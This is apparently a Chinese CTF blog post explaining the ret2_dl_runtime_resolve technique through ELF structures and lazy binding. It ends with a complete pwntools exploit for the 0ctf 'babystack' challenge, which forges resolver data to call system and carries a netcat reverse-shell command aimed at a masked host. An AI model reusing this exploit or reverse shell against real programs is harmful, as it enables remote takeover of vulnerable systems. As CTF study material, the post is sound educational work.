最近的0ctf和强网杯我都参加了,收获了不少,今天特意总结一下ret2_dl_runtime_resolve技术.

本文主要参考:
ROP之return to dl-resolve
Return-to-dl-resolve

准备知识
阅读本文,需要对ELF文件的基本结构有一定的了解.
可参考:
ELF文件基本结构
文件开始处是 ELF 头部( ELF Header),它给出了整个文件的组织情况。

如果程序头部表(Program Header
Table)存在的话,它会告诉系统如何创建进程。用于生成进程的目标文件必须具有程序头部表,但是重定位文件不需要这个表。

节区部分包含在链接视图中要使用的大部分信息:指令、数据、符号表、重定位信息等等。

节区头部表(Section Header
Table)包含了描述文件节区的信息,每个节区在表中都有一个表项,会给出节区名称、节区大小等信息。用于链接的目标文件必须有节区头部表,其它目标文件则无所谓,可以有,也可以没有。

如果一个可执行文件参与动态链接,它的程序头部表将包含类型为PT_DYNAMIC的段,它包含.dynamic节。结构如下:

typedef struct {
    Elf32_Sword     d_tag;
    union {
        Elf32_Word  d_val;
        Elf32_Addr  d_ptr;
    } d_un;
} Elf32_Dyn;
extern Elf32_Dyn_DYNAMIC[];

其中,d_tag 的取值决定了该如何解释 d_un。

d_val
    这个字段表示一个整数值,可以有多种意思。
d_ptr
    这个字段表示程序的虚拟地址。正如之前所说的,一个文件的虚拟地址在执行的过程中可能和内存的虚拟地址不匹配。当解析动态结构中的地址时,动态链接器会根据原始文件的值以及内存的基地址来计算真正的地址。为了保持一致性,文件中并不会包含重定位入口来"纠正"动态结构中的地址。

Tag对应着每个节。比如JMPREL对应着.rel.plt

每个节区头部可以用下面的数据结构进行描述:

typedef struct {
    ELF32_Word      sh_name;//节名称
    ELF32_Word      sh_type;//节类型
    ELF32_Word      sh_flags;//每一比特代表不同的标志,描述节是否可写,可执行,需要分配内存等属性。
    ELF32_Addr      sh_addr;//如果节区将出现在进程的内存映像中,此成员给出节区的第一个字节应该在进程镜像中的位置。否则,此字段为 0。
    ELF32_Off       sh_offset;//节区的第一个字节与文件开始处之间的偏移。
    ELF32_Word      sh_size;//节区的字节大小。
    ELF32_Word      sh_link;//节区头部表索引链接
    ELF32_Word      sh_info;//附加信息,其解释依赖于节区类型。
    ELF32_Word      sh_addralign;//某些节区的地址需要对齐。
    ELF32_Word      sh_entsize;//某些节区中存在具有固定大小的表项的表,如符号表。对于这类节区,该成员给出每个表项的字节大小。
} Elf32_Shdr;

.rel.dyn 包含了动态链接的二进制文件中需要重定位的变量的信息,这些信息在加载的时候必须完全确定。而 .rel.plt 包含了需要重定位的函数的信息。这两类重定位节都使用如下的结构

typedef struct {
    Elf32_Addr        r_offset;//其取值是需要重定位的虚拟地址,一般而言,也就是说我们所说的 GOT 表的地址
    Elf32_Word       r_info;//此成员给出需要重定位的符号的符号表索引,以及相应的重定位类型。
} Elf32_Rel;

typedef struct {
    Elf32_Addr     r_offset;
    Elf32_Word    r_info;
    Elf32_Sword    r_addend;
} Elf32_Rela;

当程序代码引用一个重定位项的重定位类型或者符号表索引时,这个索引是对表项的 r_info 成员应用 ELF32_R_TYPE 或者 ELF32_R_SYM 的结果。 也就是说 r_info 的高三个字节对应的值表示这个动态符号在.dynsym符号表中的位置。

#define ELF32_R_SYM(i)    ((i)>>8)
#define ELF32_R_TYPE(i)   ((unsigned char)(i))
#define ELF32_R_INFO(s,t) (((s)<<8)+(unsigned char)(t))

.got节保存全局变量偏移表,.got.plt节保存全局函数偏移表。.got.plt对应着Elf32_Rel结构中r_offset的值。

$ readelf -r bof32

Relocation section '.rel.dyn' at offset 0x288 contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
080496fc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x290 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804970c  00000107 R_386_JUMP_SLOT   00000000   read
08049710  00000207 R_386_JUMP_SLOT   00000000   __gmon_start__
08049714  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main
08049718  00000407 R_386_JUMP_SLOT   00000000   write


gdb-peda$ x/3i read
0x80482f0 <read@plt>:        jmp    DWORD PTR ds:0x804970c
   0x80482f6 <read@plt+6>:      push   0x0
   0x80482fb <read@plt+11>:     jmp    0x80482e0

.dynsym
动态链接的 ELF 文件具有专门的动态符号表,其使用的结构就是 Elf32_Sym,但是其存储的节为 .dynsym。这里再次给出 Elf32_Sym 的结构

typedef struct
{
  Elf32_Word    st_name;   /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;  /* Symbol value */
  Elf32_Word    st_size;   /* Symbol size */
  unsigned char st_info;   /* Symbol type and binding */
  unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
  Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;

我们主要关注动态符号中的两个成员

st_name, 该成员保存着动态符号在 .dynstr 表(动态字符串表)中的偏移。
st_value,如果这个符号被导出,这个符号保存着对应的虚拟地址。

.dynstr节包含了动态链接的字符串。这个节以\x00作为开始和结尾,中间每个字符串也以\x00

当一个程序导入某个函数时,.dynstr 就会包含对应函数名称的字符串,.dynsym 中就会包含一个具有相应名称的动态字符串表的符号(Elf_Sym),在 rel.dyn 中就会包含一个指向这个符号的的重定位表项。

延迟绑定
程序在执行的过程中,可能引入的有些C库函数到结束时都不会执行。所以ELF采用延迟绑定的技术,在第一次调用C库函数是时才会去寻找真正的位置进行绑定。

举个例子
我们来看看在call read@plt时具体发生了什么。

gdb-peda$ x/3i read
    0x80482f0 <read@plt>:        jmp    DWORD PTR ds:0x804970c
       0x80482f6 <read@plt+6>:      push   0x0
       0x80482fb <read@plt+11>:     jmp    0x80482e0
    gdb-peda$ x/wx 0x804970c
0x804970c <[email protected]>:       0x080482f6
gdb-peda$ x/2i 0x80482e0
   0x80482e0:   push   DWORD PTR ds:0x8049704
   0x80482e6:   jmp    DWORD PTR ds:0x8049708

在第一次调用时,jmp [email protected]会跳回read@plt,这是我们已经知道的。接下来,会将参数push到栈上并跳至.got.plt+0x8,这相当于调用以下函数:

_dl_runtime_resolve(link_map, rel_offset);

_dl_runtime_resolve则会完成具体的符号解析,填充结果,和调用的工作。具体地。根据rel_offset,找到重定位条目:

Elf32_Rel * rel_entry = JMPREL + rel_offset;

根据rel_entry中的符号表条目编号,得到对应的符号信息:

Elf32_Sym *sym_entry = SYMTAB[ELF32_R_SYM(rel_entry->r_info)];

再找到符号信息中的符号名称:

char *sym_name = STRTAB + sym_entry->st_name;

由此名称,搜索动态库。找到地址后,填充至.got.plt对应位置。最后调整栈,调用这一解析得到的函数。

漏洞利用方式

1.控制eip为PLT[0]的地址,只需传递一个index_arg参数
2.控制index_arg的大小,使reloc的位置落在可控地址内
3.伪造reloc的内容,使sym落在可控地址内
4.伪造sym的内容,使name落在可控地址内
5.伪造name为任意库函数,如system

最后附上babystack的writeup

#!/usr/bin/python
from pwn import *
from hashlib import *
from roputils import *
import binascii
context.log_level = 'debug'
def break_sha256(prefix):
    print prefix
    for c1 in range(0x21,0x7e):
        for c2 in range(0x21,0x7e):
            for c3 in range(0x21,0x7e):
                for c4 in range(0x21,0x7e):
                    x=prefix+chr(c1)+chr(c2)+chr(c3)+chr(c4)
                    #print x
                    if(sha256(x).digest().startswith('\0\0\0')):
                        return x

#sh=process('./babystack')
def main():
    rop=ROP('./babystack')
    #sh=process('./pow.py')
    sh=remote('202.120.7.202',6666)
    #sh=remote('188,166,242,64',126)    
    data=sh.recvuntil('\n',drop=True)
    data=break_sha256(data)
    #print 'recv:'+data
    pwd=data[16:]
    #print len(pwd)
    #print pwd
    sh.send(pwd+'')
    #sh.sendline('A\0')
    offset=44
    buf = 'A'*offset
    addr_bss = 0x0804a020
    main=0x0804843B
    addr_read=0x08048300
    buf += p32(addr_read)+p32(main)+p32(0)+p32(addr_bss)+p32(100)
    #gdb.attach(sh)sss
    #sh.send(buf)
    data=len(buf)
    buf += rop.string('nc -e /bin/sh *.*.*.* 1808')
    buf += rop.fill(data+60, buf)
    buf += rop.dl_resolve_data(addr_bss+60, 'system')
    buf += rop.fill(data+100, buf)
    #gdb.attach(sh)
    #sh.send(buf)
    buf+='A'*44+rop.dl_resolve_call(addr_bss+60, addr_bss)
    sh.send(buf+'\x00'*32)
    #sh.sendline('gedit') 
    #sh.sendline('ls')
    #print sh.recv()    
    sh.interactive()
if __name__ == "__main__":
    main()